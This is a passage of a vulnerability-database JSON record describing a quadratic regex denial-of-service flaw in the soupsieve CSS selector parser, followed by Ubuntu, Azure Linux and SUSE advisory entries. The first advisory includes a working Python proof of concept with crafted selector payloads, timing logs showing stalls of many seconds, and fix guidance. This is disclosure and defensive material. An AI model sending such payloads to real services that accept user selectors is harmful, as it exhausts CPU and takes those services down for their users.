interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel)\n        status = \"ok\"\n    except Exception as e:\n        status = type(e).__name__\n    return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n   (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n    dt, st = compile_time(\"[a=\" + \"a\" * n)\n    print(f\"  n={n:\u003c6} len={3+n:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = compile_time(\"a\" * n + \"!\")\n    print(f\"  n={n:\u003c6} len={n+1:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n   (unterminated attribute value)\n  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]\n  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]\n  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]\n  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\n  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]\n  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]\n  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]\n  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)\n[+] wall time = 18.28 s   [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]\n  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]\n  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]\n  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?\u003e...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","status":"published","published":"2026-10-01T16:38:33.233778Z","modified":"2026-10-01T17:45:17.856132762Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:57.671918Z"},{"id":"UBUNTU-CVE-2026-86000","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:00Z","modified":"2026-10-17T13:01:13.507832092Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"AZL-103325","title":"CVE-2026-86000 affecting package python-soupsieve 2.6-3","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:16Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:17.528763Z"},{"id":"openSUSE-SU-2026:11866-1","title":"python313-soupsieve-2.9.2-1.1 on GA media","description":"These are all security issues fixed in the python313-soupsieve-2.9.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-23T00:00:00Z","modified":"2026-09-24T18:23:14.724446832Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22149-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-10-21T07:48:59Z","modified":"2026-10-23T17:23:12.811279095Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:24267-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-10-21T08:29:20Z","modified":"2026-10-23T17:23:10.770045937Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:4365-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-09-28T15:01:26Z","modified":"2026-09-29T09:15:08.502993647Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:5164-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-11-10T09:43:16Z","modified":"2026-11-10T20:30:03.946626487Z","updated_at":"2026-11-10T20:43:04.310349Z"}]}}
